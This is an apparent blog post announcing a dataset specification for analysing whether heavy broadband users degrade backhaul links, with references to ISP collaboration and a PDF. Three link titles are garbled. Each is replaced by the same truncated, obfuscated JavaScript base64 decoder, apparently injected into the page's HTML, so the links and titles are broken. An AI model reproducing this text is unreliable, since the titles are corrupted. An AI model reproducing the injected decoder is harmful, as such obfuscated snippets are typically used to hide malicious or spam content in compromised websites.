Dataset Specification for “Bandwidth Hog” analysis

Last week I wrote a twin piece with my fellow blogger Herman Wagter regarding bandwidth hogs entitled "function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandwidth-hog-.html">Is the Bandwidth Hog a Myth?". In this piece, I offered to analyse a properly built dataset that would allow an accurate measurement of the impact of heavy broadband users on the performance of a backhaul link.

This piece got quite a bit of attention (see function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandwidth-hogs.html">Herding the Bandwidth Hog), especially in the US, and a few ISPs have offered to collaborate. So far, serious discussions are in progress with one service provider and we're hoping that at least a few more will agree to work with us.

As promised the dataset specification is now made public. I believe that collecting and aggregating the data in this way will make it possible to answer the question, but I am open to suggestions on how to improve the dataset as long as it stays realistic (both in terms of scope of the dataset and of ability of ISPs to produce said data).

The PDF document is entitled function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand_User_Analysis_v1.pdf">Dataset Specification for Disruptive Broadband User Analysis v1.

For what it's worth, I also intend to publish a light-hearted piece on the impact this has had on my blog readership and on the nature of comments posted to this piece this week-end. Stay tuned!